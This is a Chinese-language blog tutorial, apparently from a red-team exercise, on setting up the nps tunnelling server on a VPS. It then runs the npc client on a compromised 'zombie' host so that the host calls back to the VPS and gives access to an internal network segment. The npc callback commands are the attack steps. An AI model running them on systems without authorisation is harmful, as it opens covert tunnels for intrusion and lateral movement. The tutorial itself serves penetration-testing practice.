攻防演練有看到大哥用這個做代理,今天學習一下
一、安裝
https://github.com/ehang-io/nps/releases (下載下傳Linux版本的先試試)
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiI0gTMx81dsQWZ4lmZf1GLlpXazVmcvwFciV2dsQXYtJ3bm9CX9s2RkBnVHFmb1clWvB3MaVnRtp1XlBXe0xCMy81dvRWYoNHLwEzX5xCMx8FesU2cfdGLwMzX0xiRGZkRGZ0Xy9GbvNGLpZTY1EmMZVDUSFTU4VFRR9Fd4VGdsYTMfVmepNHLrJXYtJXZ0F2dvwVZnFWbp1zczV2YvJHctM3cv1Ce-cmbw5yM2ITN1I2M0cDN4ETMhNDOxYzX4ADMwcTM0AzLcFTMxIDMy8CXn9Gbi9CXzV2Zh1WavwVbvNmLvR3YxUjLyM3Lc9CX6MHc0RHaiojIsJye.png)
上傳至伺服器,建立一個nps的檔案夾,然後解壓:
mkdir nps
tar -xzvf linux_amd64_server.tar.gz -C ./nps
然後輸入指令啟動,啟動後即可通路如下登入管理頁面,預設賬号密碼為:admin/123 (記得快速修改初始密碼)
./nps start
在/etc/nps/conf/檔案内可以檢視到預設的賬号密碼,修改之,然後再重新開機一下nps:
nps restart
在壓縮包下也是有個一樣的配置檔案的,千萬别改錯了!要改的一定是/etc/nps/的
然後登入就可以看到頁面了:
這樣就安裝好了。
二、使用
登入nps:
然後點選新增用戶端,到下面的截圖:(自行設定賬号密碼,這個将會作為你的隧道的密碼進行使用)
填寫好就可以新增了!記住下面這個密鑰:
這些都有了,那應該直接接下來怎麼做了吧,同樣的,在殭屍電腦運作nps的指令,然後就能做代理了,我們試試吧!
(1)以下時Windows用戶端的,下載下傳對應的版本然後輸入下述指令:
npc.exe -server=你的vps:8024 -vkey=用戶端的密鑰
(2)以下時Linux用戶端的,下載下傳對應的版本然後輸入下述指令:
./npc -server=你的vps:8024 -vkey=用戶端的密鑰
到這一步時,你已經成功了一半,因為在殭屍電腦上運作以上指令将會成功建立好隧道:
殭屍電腦運作:
npc.exe -server=192.168.43.234:8024 -vkey=用戶端的密鑰
web頁面會出現上線的提示:
最後:在上線的主機的隧道處點選,并添加響應的隧道,就可以建立與其他網段的通信了:
然後測試一下連接配接:
最後就能成功通路第二層網絡(192.168.127.x網段)了:
以上,簡單的使用nps建立隧道的任務就完成了!其餘使用教程請參考:https://ehang-io.github.io/nps/#/use